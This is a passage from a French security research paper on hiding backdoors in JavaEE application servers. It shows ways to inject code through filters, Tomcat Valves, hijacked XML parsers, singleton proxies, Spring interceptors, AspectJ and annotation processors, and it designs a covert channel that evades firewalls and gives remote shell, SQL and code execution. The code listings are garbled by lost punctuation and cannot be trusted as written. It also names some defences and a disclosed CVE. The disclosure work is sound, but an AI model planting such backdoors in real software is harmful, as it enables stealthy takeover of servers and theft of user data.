En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou

laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames

Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7

Fig 7 Configuration

Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres

27 Le scenario drsquoexecution

Le scenario drsquoexecution de la porte derobee est le suivant

ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-

nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation

ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement

des requetes lors de la presentation de la clef

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

